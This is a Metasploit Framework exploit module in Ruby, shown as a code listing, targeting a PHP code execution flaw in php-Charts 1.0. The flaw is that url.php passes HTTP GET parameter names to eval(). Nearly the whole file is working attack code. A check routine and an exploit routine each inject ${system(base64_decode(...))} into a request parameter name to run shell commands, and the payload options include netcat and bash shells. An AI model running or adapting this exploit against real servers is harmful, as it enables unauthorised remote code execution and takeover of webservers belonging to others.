|   1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120  |  ## # This file is part of the Metasploit Framework and may be subject to # redistribution and commercial restrictions. Please see the Metasploit # Framework web site for more information on licensing and terms of use. # http://metasploit.com/framework/ ## require 'msf/core' class Metasploit3 < Msf::Exploit::Remote  Rank = ExcellentRanking  include Msf::Exploit::Remote::HttpClient  def initialize(info={})  super(update_info(info,  'Name' => "PHP-Charts v1.0 PHP Code Execution Vulnerability",  'Description'=> %q{  This module exploits a PHP code execution vulnerability in php-Charts  version 1.0 which could be abused to allow users to execute arbitrary  PHP code under the context of the webserver user. The 'url.php' script  calls eval() with user controlled data from any HTTP GET parameter name.  },  'License'=> MSF_LICENSE,  'Author' =>  [  'AkaStep', # Discovery and PoC  'Brendan Coles <bcoles[at]gmail.com>' # msf exploit  ],  'References' =>  [  ['OSVDB', '89334'],  ['BID', '57448'],  ['EDB', '24201']  ],  'Payload'=>  {  'BadChars' => "\x00\x0a\x0d\x22",  'Compat'=>  {  'PayloadType' => 'cmd',  'RequiredCmd' => 'generic telnet bash netcat-e perl ruby python',  }  },  'DefaultOptions'=>  {  'ExitFunction' => "none"  },  'Platform' => 'unix',  'Arch' => ARCH_CMD,  'Targets'=>  [  ['Automatic Targeting', { 'auto' => true }]  ],  'Privileged' => false,  'DisclosureDate' => "Jan 16 2013",  'DefaultTarget'=> 0))  register_options(  [  OptString.new('TARGETURI', [true, 'The path to the web application', '/php-charts_v1.0/']),  ], self.class)  end  def check  base= target_uri.path  base << '/' if base[-1, 1] != '/'  peer= "#{rhost}:#{rport}"  fingerprint = Rex::Text.rand_text_alphanumeric(rand(8)+4)  code= Rex::Text.uri_encode(Rex::Text.encode_base64("echo #{fingerprint}"))  rand_key_value = rand_text_alphanumeric(rand(10)+6)  # send check  print_status("#{peer} - Sending check")  begin  res = send_request_cgi({  'method' => 'GET',  'uri'=> "#{base}wizard/url.php?${system(base64_decode(\"#{code}\"))}=#{rand_key_value}"  })  if res and res.body =~ /#{fingerprint}/  return Exploit::CheckCode::Vulnerable  else  return Exploit::CheckCode::Safe  end  rescue ::Rex::ConnectionRefused, ::Rex::HostUnreachable, ::Rex::ConnectionTimeout  print_error("#{peer} - Connection failed")  end  return Exploit::CheckCode::Unknown  end  def exploit  base= target_uri.path  base << '/' if base[-1, 1] != '/'  @peer = "#{rhost}:#{rport}"  code= Rex::Text.uri_encode(Rex::Text.encode_base64(payload.encoded+"&"))  rand_key_value = rand_text_alphanumeric(rand(10)+6)  # send payload  print_status("#{@peer} - Sending payload (#{code.length} bytes)")  begin  res = send_request_cgi({  'method' => 'GET',  'uri'=> "#{base}wizard/url.php?${system(base64_decode(\"#{code}\"))}=#{rand_key_value}"  })  if res and res.code == 500  print_good("#{@peer} - Payload sent successfully")  else  fail_with(Exploit::Failure::UnexpectedReply, "#{@peer} - Sending payload failed")  end  rescue ::Rex::ConnectionRefused, ::Rex::HostUnreachable, ::Rex::ConnectionTimeout  fail_with(Exploit::Failure::Unreachable, "#{@peer} - Connection failed")  end  end end  |